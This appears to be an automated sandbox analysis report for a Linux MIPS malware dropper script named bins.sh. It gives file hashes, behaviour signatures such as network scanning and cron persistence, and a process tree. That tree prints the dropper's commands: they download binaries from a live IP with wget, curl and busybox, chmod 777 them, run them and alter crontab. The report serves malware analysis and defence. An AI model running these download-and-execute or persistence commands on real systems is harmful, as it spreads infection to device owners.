Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 18:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    49ff6a2cb20564750a63b55e97d1ab33

  • SHA1

    002760981243e617f09aae9d51348ed8cbf15220

  • SHA256

    f591850528c073e92ddf0c7c9e15277c4a32c26150f5da11e7e7bad58514e7e1

  • SHA512

    a59a5dff228d17cc3f8997dc959386adf79208c4dc7b6f376792deb406e5da9b08090f94eba1dbd5d00356069bc5d4367403fe4fa24494b5d30167319b660b18

  • SSDEEP

    192:OH55kd4A2eVeyFjrUl/Cu1jrUg2eVz55kdl:OH55kd4A2ecyI/Cu32e555kdl

Malware Config

Signatures

  • Contacts a large (1969) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/chmod
            chmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            ./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:753
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:755
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:756
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:757
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:762
                • /bin/rm
                  rm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                    2⤵
                      PID:779
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      2⤵
                        PID:852

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                      Filesize

                      177KB

                      MD5

                      786d75a158fe731feca3880f436082c0

                      SHA1

                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                      SHA256

                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                      SHA512

                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                    • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /var/spool/cron/crontabs/tmp.GJ0Y6G

                      Filesize

                      210B

                      MD5

                      214ef1d0c8d608f8654c632d8e021a45

                      SHA1

                      85d1d68c73c7991798db99106075047e05f10b22

                      SHA256

                      634d4a4ac8ae7190a7b8d64a4fa3da3492e88e993bcb06e413bff354234c3178

                      SHA512

                      2159e06f5fdf2cf30c5a568cee82d2a095946a62f7d348621f6e38595183f7ffc9d43b98652f5a8165640511c71e930307a1b2aeef61def8bffd960a1a7896fc